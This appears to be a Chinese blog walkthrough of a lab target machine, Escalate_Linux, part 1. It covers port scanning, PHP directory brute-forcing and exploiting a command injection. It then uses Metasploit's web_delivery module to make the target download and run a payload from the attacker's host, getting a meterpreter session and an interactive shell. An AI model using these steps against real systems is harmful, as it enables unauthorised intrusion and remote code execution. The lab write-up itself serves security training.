Escalate_Linux靶机详解(1)
一,信息收集
首先扫描存活主机
目标地址:192.168.236.131
使用nmap扫描保存为linux.nmap
2,HTTP探测
发现开放了80端口http
打开站点是apache的默认站点
默认页面,尝试对web Directory Search 使用dirb对Web站点进行PHP页面暴破 因为一般web平台默认支持PHP dirb http:/192.168.236.131 -X .php(指定后缀名)
访问扫描到的文件
存在命令注入
发现可以执行系统命令
查看内核版本 uname -r
查看系统发行版lsb_release -a
查看是否有nc工具:which nc
kali需要一个服务端,nc监听1234
发现nc无法使用
目标系统存在命令注入漏洞
背景:目标系统存在远程文件包含漏洞或者命令注入漏洞,想在目标设备上加载webshell,. 但不想在目标设备硬盘上留下任何webshell文件信息 (2)利用nc或python的方法反弹shell不好使用 解决思路:让目标设备从远端服务器加载webshell代码至内存执行
正确方法与工具:使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端 口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口 下刚刚好)。
打开Msf
使用 MSE中web_delivery模块(实现webshell远程投递) use exploit/multi/script/web delivery set SRVH0ST 192.168.236.128(攻击端的地址) set LH0ST 192.168.236.128(攻击端的地址) exploit
代码填入发现无法执行,存在知识点url编码
通常如果一样东西需要编码,说明这样东西并不适合传输。对于URL来说,编码主要是为了避免引发歧义与混乱。例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/?name=xiao&pwd=123456如果你的value字符串中包含了=或者&,那么势必会造成接收U川的服务器解析错误,因此必须将引起歧义的&和=符号进行转义,也就是对其进行编码。
使用BP进行url编码
然后传递
传递成功
使用sessions -i查看
获得meterpreter
进入shell
使用$ python2 -c 'import pty;pty.spawn("/bin/bash")'
获得用户权限。
提权后面文章在发布。
Escalate_Linux(2)-利用SUID提权-CSDN博客
Escalate_Linux(3)--通过读取密码文件shadow来破解root用户的口令实现提权-CSDN博客
Escalate_Linux(4)-利用SUDO实现提权-CSDN博客
诸君山顶见!